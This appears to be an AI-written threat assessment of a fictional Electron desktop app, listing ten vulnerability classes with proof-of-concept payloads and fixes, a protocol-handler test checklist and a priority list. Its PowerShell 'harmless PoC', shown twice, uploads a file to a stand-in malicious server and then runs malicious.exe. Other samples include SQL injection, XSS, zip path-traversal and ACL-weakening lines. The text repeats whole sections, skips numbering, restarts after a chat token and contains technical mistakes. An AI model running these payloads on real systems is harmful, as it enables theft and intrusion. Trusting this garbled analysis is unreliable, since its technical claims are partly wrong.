>### 1. Potential Vulnerability Classes (10)

Based on the provided app description, here are 10 potential vulnerability classes:

1. SQL Injection (SQLite)

Where to search:
- SQLite database file (%APPDATA%\AcmeDesk\data.db).
- Code handling profile.db during backup import.
Why it’s a risk:
Unsanitized user input (e.g., from backup files or custom protocol arguments) could be injected into SQL queries, leading to data exfiltration, corruption, or arbitrary database operations.
How to safely check locally:
- Use a legitimate backup file (e.g., from the app’s official download).
- Inject malicious SQL payloads into fields that interact with data.db (e.g., user settings).
Minimal PoC without harm:
```
{
  "settings": {
    "username": "'; DROP TABLE users; --"
  }
}
```
Save this as settings.json and import it via the app’s backup feature. This should trigger a SQL error in data.db.
How to fix:
- Use parameterized queries (e.g., sqlite3 prepared statements) for all database interactions.
- Validate and sanitize user input before processing it in SQL queries.

2. File Inclusion / Path Traversal

Where to search:
- Code handling .zip backup files (e.g., C:\Users\User\...).
- Extraction logic for attachments/ directory.
Why it’s a risk:
If the app extracts files from user-provided .zip backups without validating paths, an attacker could craft a malicious backup file containing files with arbitrary paths (e.g., C:\Windows\System32\malicious.dll). When the app extracts these files, they could overwrite or create malicious files on disk.
How to safely check locally:
- Create a malicious .zip file containing files with paths that exceed the extraction directory (e.g., malicious_backup.zip with a file at attachments\..\..\..\Windows\System32\malicious.dll).
- Import this malicious backup file into the app.
Minimal PoC without harm:
```
# Create a malicious zip file with path traversal
mkdir -p test/attachments/../Windows/System32/
touch test/attachments/../Windows/System32/malicious.dll
zip -r malicious_backup.zip test/
```
Then import malicious_backup.zip via the app’s backup feature. The app should extract the malicious file to C:\Users\User\AcmeDesk\attachments/../Windows/System32/malicious.dll, potentially overwriting or creating a malicious file on disk.
How to fix:
- Validate and sanitize the extraction path (e.g., use Path.GetFullPath() with a whitelist of allowed directories).
- Avoid extracting files into system directories (e.g., C:\Windows\System32) unless explicitly permitted.

3. Custom Protocol Handler Abuse

Where to search:
- Code registering and handling the acmedesk:// protocol (e.g., in Electron’s main.js).
- Logic processing the path parameter (e.g., via ShellExecute, FileOpenDialog, etc.).
Why it’s a risk:
If the app doesn’t validate or sanitize the path parameter passed via the custom protocol handler, an attacker could craft a malicious URL that triggers arbitrary file operations or code execution. For example:
- acmedesk://open?path=C:\Windows\System32\malicious.exe (to execute a malicious file).
- acmedesk://open?path=C:\Users\User\Documents\malicious.zip (to trigger a path traversal attack via the .zip import logic).
How to safely check locally:
- Use a legitimate acmedesk:// URL (e.g., from the app’s documentation).
- Inject malicious URLs into fields that trigger protocol handling (e.g., via a webview or input field).
Minimal PoC without harm:
```
# Create a malicious URL to trigger protocol handling
echo "acmedesk://open?path=C:\Users\User\Documents\malicious_backup.zip" > malicious_url.txt
```
Then, if the app has a feature to open URLs (e.g., via ShellExecute), you can pass this malicious URL to trigger the protocol handler. The app should process the path parameter (e.g., via a backup import or file open dialog), potentially leading to path traversal or malicious file execution.
How to fix:
- Validate and sanitize the path parameter passed via the custom protocol handler. For example, restrict the path to a whitelist of allowed directories (e.g., the app’s data directory).
- Use parameterized queries or file path validation functions (e.g., Path.GetFullPath() with a whitelist) to prevent arbitrary path traversal.

4. Auto-Update / PowerShell Script Execution

Where to search:
- Code handling auto-updates (e.g., in the app’s main process or a dedicated update module).
- PowerShell script execution logic (e.g., spawn powershell.exe ...).
Why it’s a risk:
If the app downloads and executes an update script (update.ps1) from an untrusted source (e.g., a malicious latest.yml file), or if the PowerShell execution policy isn’t properly enforced, an attacker could modify the script to perform malicious actions. For example:
- Exfiltrate data from the user’s machine via PowerShell (e.g., using Invoke-WebRequest to send files to a remote server).
- Install additional malware (e.g., via New-Item and Invoke-Expression).
- Modify the app’s behavior (e.g., disable security features).
How to safely check locally:
- Use a legitimate update script (e.g., from the app’s official source).
- Inject malicious payloads into the update script (e.g., add a line to exfiltrate data via PowerShell).

Minimal PoC without harm:

# Malicious update.ps1 script (simplified)
Write-Host "Executing malicious PowerShell script..."
  
# Exfiltrate a file to a remote server (example)
$fileToExfiltrate = "C:\Users\User\Documents\malicious_backup.zip"
$remoteServerUrl = "https://malicious-server.com/upload"
  
# Use Invoke-WebRequest to send the file
try {
    Invoke-WebRequest -Uri $remoteServerUrl -Method Post -InFile $fileToExfiltrate
    Write-Host "Exfiltration successful!"
} catch {
    Write-Host "Error during exfiltration: $_"
}
  
# Install additional malware (example)
$malwarePath = "C:\Users\User\AppData\Local\Temp\malicious.exe"
if (-Not (Test-Path $malwarePath))) {
    New-Item -ItemType File -Path $malwarePath | Out-Null
}
  
# Execute the malware (simplified)
Start-Process -FilePath $malwarePath

Then, if the app downloads and executes update.ps1 from https://updates.acme.local/latest.yml, the malicious script would be executed, leading to data exfiltration and malware installation.

How to fix:
- Verify the integrity of update scripts (e.g., using code signing with a trusted certificate).
- Enforce strict PowerShell execution policies (e.g., ExecutionPolicy Restricted) to prevent arbitrary script execution.
- Use secure update mechanisms (e.g., HTTPS with TLS 1.2+ encryption) and validate the authenticity of update sources (e.g., via certificate pinning).

5. Privilege Escalation via AppData Paths

Where to search:
- Code handling file operations (e.g., writing to data.db, extracting files from .zip backups).
- Code checking permissions for file access (e.g., File.Exists, Directory.CreateDirectory).
Why it’s a risk:
If the app runs with elevated privileges (e.g., as an administrator) and it writes to or reads from paths that are writable by the user (or attacker-controlled directories), there’s a risk of privilege escalation. For example:
- The app writes to C:\Windows\System32\malicious.dll (a system directory) with elevated privileges, potentially overwriting or creating a malicious file that runs with system-level permissions.
- The app extracts files from a user-provided .zip backup into C:\Windows\System32\malicious.exe, which could be executed with system-level permissions.
How to safely check locally:
- Use a legitimate backup file (e.g., from the app’s official download).
- Inject malicious payloads into fields that interact with system directories (e.g., via a .zip backup import).
Minimal PoC without harm:
```
# Create a malicious zip file with path traversal to system directory
mkdir -p test/attachments/../Windows/System32/
touch test/attachments/../Windows/System32/malicious.exe
zip -r malicious_backup.zip test/
```
Then, import malicious_backup.zip via the app’s backup feature. The app should extract the malicious file to C:\Users\User\AcmeDesk\attachments/../Windows/System32/malicious.exe, which could be executed with system-level permissions if the app runs as an administrator.
How to fix:
- Restrict file operations to whitelisted directories (e.g., the app’s data directory).
- Avoid writing to or extracting files into system directories (e.g., C:\Windows\System32) unless explicitly permitted and with proper permission checks.
- Enforce strict permission checks for file access (e.g., use File.Exists with proper path validation).

6. Input Validation Flaws in Backup Import

Where to search:
- Code handling .zip backup file import (e.g., in the app’s main process or a dedicated backup module).
- Logic validating settings.json, profile.db, and the attachments/ directory during backup import.
Why it’s a risk:
If the app doesn’t validate or sanitize the contents of user-provided .zip backup files (e.g., settings.json, profile.db, and the attachments/ directory), an attacker could craft a malicious backup file to inject code or data into the app’s storage. For example:
- settings.json with malicious JavaScript (e.g., via the eval() function).
- profile.db with malicious SQL statements (e.g., via the sqlite3 library).
- The attachments/ directory with malicious files (e.g., a DLL that gets loaded into the app’s process).
How to safely check locally:
- Use a legitimate backup file (e.g., from the app’s official download).
- Inject malicious payloads into fields that interact with backup files (e.g., via a .zip backup import).
Minimal PoC without harm:
```
{
  "settings": {
    "script": "alert('Malicious JavaScript executed!');"
  }
}
```
Save this as settings.json and create a .zip file containing this malicious JSON. Then, import this .zip backup file via the app’s backup feature. The app should process settings.json, and if it renders the JSON in a webview or directly evaluates user input, the malicious JavaScript could be executed.
How to fix:
- Validate and sanitize user input from backup files (e.g., settings.json, profile.db). For example, use JSON validation schemas to ensure that only allowed fields are present.
- Use parameterized queries or file path validation functions (e.g., Path.GetFullPath() with a whitelist) to prevent arbitrary SQL or file operations.
- Avoid rendering untrusted user input directly in a webview or other UI component (e.g., use HTML sanitization libraries to remove malicious tags and scripts).

7. Cross-Site Scripting (XSS) in Electron Webview

Where to search:
- Code using Electron’s webview component (e.g., in the app’s main process or a dedicated UI module).
- Logic rendering user input (e.g., from settings, profile data) in the webview without proper sanitization.
Why it’s a risk:
If the app uses Electron’s webview component to display user-provided content (e.g., settings pages, profile data) without properly sanitizing or escaping the input, an attacker could inject malicious JavaScript (XSS). For example:
- A user enters the following text in a settings field that’s rendered in the webview:
```
<script>alert('XSS attack!');</script>
```
- The app renders this input directly in the webview without escaping or sanitizing it. As a result, when another user visits this page (or the same user reloads the page), the malicious JavaScript is executed, potentially leading to data theft (e.g., stealing cookies or session tokens), defacement of the app’s UI, or further exploitation (e.g., via window.location.href to redirect users to malicious sites).
How to safely check locally:
- Use a legitimate user input (e.g., from the app’s official documentation).
- Inject malicious JavaScript payloads into fields that interact with the webview (e.g., via a settings field).
Minimal PoC without harm:
```
{
  "settings": {
    "description": "<script>alert('XSS attack!');</script>"
  }
}
```
Save this as settings.json and import it via the app’s backup feature. The app should process settings.json, and if it renders the JSON in a webview or directly evaluates user input, the malicious JavaScript could be executed.
How to fix:
- Use Electron’s built-in webview sanitization features (e.g., webview.setWebContentsUserAgent(...) and webview.setJavaScriptCanAccessClipboard(false)).
- Sanitize or escape user input before rendering it in the webview. For example, use a library like DOMPurify to sanitize HTML content and remove malicious tags or scripts.
- Avoid rendering untrusted user input directly in the webview (e.g., use a separate UI component or a secure rendering context).

8. Insecure Default Permissions for AppData Files

Where to search:
- Code handling file operations (e.g., writing to data.db, extracting files from .zip backups).
- Windows file system permissions for the data.db file (e.g., via icacls or Windows Explorer).
Why it’s a risk:
By default, Windows sets the permissions for files in AppData (e.g., %APPDATA%\AcmeDesk\data.db) to be read-only by the owner (the user running the app). However, if the app writes to this file without proper permission checks, and an attacker can modify the permissions of this file (e.g., via a local privilege escalation attack), they could potentially overwrite or tamper with the app’s data, leading to data corruption or loss. For example:
- An attacker modifies the permissions of data.db to allow write access (e.g., via icacls %APPDATA%\AcmeDesk\data.db /grant Everyone:F).
- The attacker then writes a malicious payload (e.g., a backdoor or ransomware) to data.db.
- When the app loads data.db, it executes the malicious payload, potentially leading to data theft or system compromise.
How to safely check locally:
- Use a legitimate backup file (e.g., from the app’s official download).
- Inject malicious payloads into fields that interact with data.db (e.g., via a settings field).
Minimal PoC without harm:
```
# Create a malicious payload (simplified)
echo "malicious_payload" > C:\Users\User\AcmeDesk\data.db
```
Then, if the app loads data.db without proper permission checks (e.g., via a SQLite database connection), the app could execute the malicious payload, potentially leading to data theft or system compromise.
How to fix:
- Enforce strict permission checks for file access (e.g., use File.Exists with proper path validation).
- Avoid writing to or extracting files into system directories (e.g., C:\Windows\System32) unless explicitly permitted and with proper permission checks.
- Use secure file system permissions (e.g., icacls %APPDATA%\AcmeDesk\data.db /grant AcmeDeskUsers:F) to restrict write access only to the app’s process.

9. Lack of Code Signing and Integrity Checks

Where to search:
- Code handling PowerShell script execution (e.g., spawn powershell.exe ...).
- Code verifying the integrity of update scripts (e.g., via checksums or code signing).
Why it’s a risk:
If the app doesn’t verify the integrity of update scripts (e.g., update.ps1) downloaded from an untrusted source, or if the PowerShell execution policy isn’t properly enforced to prevent arbitrary script execution, an attacker could modify the script to perform malicious actions. For example:
- An attacker replaces the legitimate update.ps1 script with a malicious version that contains code to exfiltrate data from the user’s machine via PowerShell (e.g., using Invoke-WebRequest to send files to a remote server).
- The malicious script could also install additional malware (e.g., via New-Item and Invoke-Expression) or modify the app’s behavior (e.g., disable security features).
- If the PowerShell execution policy is not properly enforced, an attacker could even execute arbitrary code (e.g., via powershell.exe -ExecutionPolicy Bypass -File C:\malicious.ps1) without restrictions.
How to safely check locally:
- Use a legitimate update script (e.g., from the app’s official source).
- Inject malicious payloads into fields that interact with PowerShell script execution (e.g., via a settings field).

Minimal PoC without harm:

# Malicious update.ps1 script (simplified)
Write-Host "Executing malicious PowerShell script..."
  
# Exfiltrate a file to a remote server (example)
$fileToExfiltrate = "C:\Users\User\Documents\malicious_backup.zip"
$remoteServerUrl = "https://malicious-server.com/upload"
  
# Use Invoke-WebRequest to send the file
try {
    Invoke-WebRequest -Uri $remoteServerUrl -Method Post -InFile $fileToExfiltrate
    Write-Host "Exfiltration successful!"
} catch {
    Write-Host "Error during exfiltration: $_"
}
  
# Install additional malware (example)
$malwarePath = "C:\Users\User\AppData\Local\Temp\malicious.exe"
if (-Not (Test-Path $malwarePath))) {
    New-Item -ItemType File -Path $malwarePath | Out-Null
}
  
# Execute the malware (simplified)
Start-Process -FilePath $malwarePath

Then, if the app downloads and executes update.ps1 from https://updates.acme.local/latest.yml, the malicious script would be executed, leading to data exfiltration and malware installation.

How to fix:
- Verify the integrity of update scripts (e.g., using code signing with a trusted certificate).
- Enforce strict PowerShell execution policies (e.g., ExecutionPolicy Restricted) to prevent arbitrary script execution.
- Use secure update mechanisms (e.g., HTTPS with TLS 1.2+ encryption) and validate the authenticity of update sources (e.g., via certificate pinning).

10. Improper Handling of Custom Protocol Handler Arguments

Where to search:
- Code registering and handling the acmedesk:// protocol (e.g., in Electron’s main.js).
- Logic processing the path parameter (e.g., via ShellExecute, FileOpenDialog, etc.).
Why it’s a risk:
If the app doesn’t validate or sanitize the path parameter passed via the custom protocol handler, an attacker could craft a malicious URL that triggers arbitrary file operations or code execution. For example:
- acmedesk://open?path=C:\Windows\System32\malicious.exe (to execute a malicious file).
- acmedesk://open?path=C:\Users\User\Documents\malicious.zip (to trigger a path traversal attack via the .zip import logic).
How to safely check locally:
- Use a legitimate acmedesk:// URL (e.g., from the app’s documentation).
- Inject malicious URLs into fields that trigger protocol handling (e.g., via a webview or input field).
Minimal PoC without harm:
```
# Create a malicious URL to trigger protocol handling
echo "acmedesk://open?path=C:\Users\User\Documents\malicious_backup.zip" > malicious_url.txt
```
Then, if the app has a feature to open URLs (e.g., via ShellExecute), you can pass this malicious URL to trigger the protocol handler. The app should process the path parameter (e.g., via a backup import or file open dialog), potentially leading to path traversal or malicious file execution.
How to fix:
- Validate and sanitize the path parameter passed via the custom protocol handler. For example, restrict the path to a whitelist of allowed directories (e.g., the app’s data directory).
- Use parameterized queries or file path validation functions (e.g., Path.GetFullPath() with a whitelist) to prevent arbitrary path traversal.

2. Checklist for Testing Custom Protocol Handler `acmedesk://`

Step	Action	Expected Outcome	Test Case
1	Register custom protocol handler in app code (e.g., `main.js` in Electron).	App should register the protocol and handle URLs.	Verify registration via `process.argv` or Electron’s `protocol.registerStandardHandler`.
2	Create a legitimate `acmedesk://` URL (e.g., from app’s documentation).	App should open the URL and perform expected action.	Open `acmedesk://open?path=C:\Users\User\Documents\test.txt` and verify file is opened.
3	Inject malicious URL with arbitrary path (e.g., `acmedesk://open?path=C:\Windows\System32\malicious.exe`).	App should reject or sanitize the path, preventing execution of malicious file.	Verify that the app does not execute `malicious.exe` and instead shows an error or prompts for user confirmation.
4	Test protocol handler with path traversal (e.g., `acmedesk://open?path=C:\Users\User\AcmeDesk\attachments/../Windows\System32\malicious.exe`).	App should validate and sanitize the path, preventing traversal into system directories.	Verify that the app does not traverse to `C:\Windows\System32\malicious.exe` and instead shows an error or prompts for user confirmation.
5	Test protocol handler with query parameter injection (e.g., `acmedesk://open?path=;DROP TABLE users;--`).	App should validate and sanitize the query parameters, preventing SQL injection via protocol handler.	Verify that the app does not execute `DROP TABLE users;--` and instead shows an error or prompts for user confirmation.
6	Test protocol handler with empty path (e.g., `acmedesk://open?path=`).	App should handle empty paths gracefully (e.g., open a default file or show an error).	Verify that the app does not crash and instead shows a default action (e.g., open `data.db`).
7	Test protocol handler with malformed URL (e.g., missing `path` parameter).	App should handle malformed URLs gracefully (e.g., show an error or open a default file).	Verify that the app does not crash and instead shows an error message (e.g., “Invalid URL: missing path parameter”).
8	Test protocol handler with large `path` parameter (e.g., > 10,000 characters).	App should handle large path parameters gracefully (e.g., truncate or show an error).	Verify that the app does not crash and instead shows an error message (e.g., “Path too long: maximum 10,000 characters”).
9	Test protocol handler with special characters in `path` (e.g., `acmedesk://open?path=C:\Users\User\Documents\test.txt`).	App should handle special characters in the path gracefully (e.g., escape or show an error).	Verify that the app does not crash and instead shows an error message (e.g., “Invalid path: contains special characters”).
10	Test protocol handler with multiple query parameters (e.g., `acmedesk://open?path=C:\Users\User\Documents\test.txt&param=1`).	App should handle multiple query parameters gracefully (e.g., ignore or show an error).	Verify that the app does not crash and instead shows an error message (e.g., “Invalid query parameters: only ‘path’ is allowed”).

4. Key Findings and Prioritization

Most Likely Bugs

SQL Injection in SQLite: The app uses a local SQLite database (data.db) and handles user-provided data (e.g., from backup files). If the app doesn’t validate or sanitize input before processing it in SQL queries, an attacker could inject malicious SQL payloads (e.g., '; DROP TABLE users; --) to exfiltrate data, corrupt the database, or gain unauthorized access.
File Inclusion / Path Traversal: The app handles .zip backup files and extracts them into the attachments/ directory. If the app doesn’t validate or sanitize paths during extraction (e.g., allowing an attacker to specify a path that exceeds the allowed directory, such as C:\Windows\System32\malicious.dll), an attacker could inject malicious files into system directories, leading to privilege escalation or execution of arbitrary code.
Improper Handling of Custom Protocol Handler Arguments: The app registers a custom protocol handler acmedesk:// and processes the path parameter (e.g., via file operations or database queries). If the app doesn’t validate or sanitize the path parameter (e.g., allowing an attacker to specify a path that triggers arbitrary file operations or code execution), an attacker could craft malicious URLs (e.g., acmedesk://open?path=C:\Windows\System32\malicious.exe) to execute malicious code or perform unauthorized file operations.

Most Critical Bugs

Lack of Code Signing and Integrity Checks: The app uses PowerShell to execute an update script (update.ps1) downloaded from https://updates.acme.local/latest.yml. If the app doesn’t verify the integrity of update scripts (e.g., via checksums or code signing) and enforce strict PowerShell execution policies, an attacker could modify the update script to perform malicious actions (e.g., exfiltrate data via PowerShell, install additional malware). This bug is critical because it could lead to persistent compromise of the user’s machine.
Improper Handling of Custom Protocol Handler Arguments: As described above, if the app doesn’t validate or sanitize the path parameter passed via the custom protocol handler (acmedesk://), an attacker could craft malicious URLs to trigger arbitrary file operations or code execution. This bug is critical because it could lead to privilege escalation, data exfiltration, or the execution of arbitrary code on the user’s machine.
SQL Injection in SQLite: As described above, if the app doesn’t validate or sanitize input before processing it in SQL queries (e.g., when handling user-provided data from backup files or custom protocol handler arguments), an attacker could inject malicious SQL payloads to exfiltrate data, corrupt the database, or gain unauthorized access. This bug is critical because it could lead to data theft, corruption of the app’s storage, or further exploitation (e.g., via SQL injection to execute arbitrary commands).

What Cannot Be Asserted Without Binary Access

Exact behavior of the custom protocol handler (acmedesk://) during path traversal or argument injection: Without access to the binary (e.g., main.exe), we cannot confirm whether the app’s code properly validates or sanitizes the path parameter passed via the custom protocol handler. We can only hypothesize based on the description, but we cannot verify the exact behavior without binary analysis.
Exact impact of SQL injection in SQLite: Without access to the binary and the ability to execute controlled payloads, we cannot confirm the exact impact of SQL injection (e.g., whether it leads to data exfiltration, database corruption, or arbitrary command execution). We can hypothesize based on the description, but we cannot verify the exact impact without binary analysis.
Exact behavior of PowerShell script execution (update.ps1) and whether code signing or integrity checks are enforced: Without access to the binary (e.g., main.exe) and the ability to inspect code at runtime, we cannot confirm whether the app enforces strict PowerShell execution policies (e.g., ExecutionPolicy Restricted) or verifies the integrity of update scripts (e.g., via checksums or code signing). We can hypothesize based on the description, but we cannot verify the exact behavior without binary analysis.

In summary, while we can hypothesize about potential vulnerabilities based on the description of the app’s functionality (e.g., SQLite usage, custom protocol handler, PowerShell script execution), we cannot confirm the exact behavior or impact of these vulnerabilities without access to the app’s binary (e.g., main.exe) and the ability to perform static/dynamic analysis. <|begin_of_box|>### 1. Potential Vulnerability Classes (10)

Based on the provided app description, here are 10 potential vulnerability classes:

1. SQL Injection (SQLite)

Where to search:
- SQLite database file (%APPDATA%\AcmeDesk\data.db).
- Code handling profile.db during backup import.
Why it’s a risk:
Unsanitized user input (e.g., from backup files or custom protocol arguments) could be injected into SQL queries, leading to data exfiltration, corruption, or arbitrary database operations.
How to safely check locally:
- Use a legitimate backup file (e.g., from the app’s official download).
- Inject malicious SQL payloads into fields that interact with data.db (e.g., via a settings field).
Minimal PoC without harm:
```
{
  "settings": {
    "username": "'; DROP TABLE users; --"
  }
}
```
Save this as settings.json and import it via the app’s backup feature. This should trigger a SQL error in data.db.
How to fix:
- Use parameterized queries (e.g., sqlite3 prepared statements) for all database interactions.
- Validate and sanitize user input before processing it in SQL queries.

2. File Inclusion / Path Traversal

Where to search:
- Code handling .zip backup file import (e.g., in the app’s main process or a dedicated backup module).
- Logic validating settings.json, profile.db, and the attachments/ directory during backup import.
Why it’s a risk:
If the app doesn’t validate or sanitize paths during extraction (e.g., allowing an attacker to specify a path that exceeds the allowed directory, such as C:\Windows\System32\malicious.dll), an attacker could inject malicious files into system directories, leading to privilege escalation or execution of arbitrary code.
How to safely check locally:
- Use a legitimate backup file (e.g., from the app’s official download).
- Inject malicious payloads into fields that interact with .zip backups (e.g., via a backup import field).
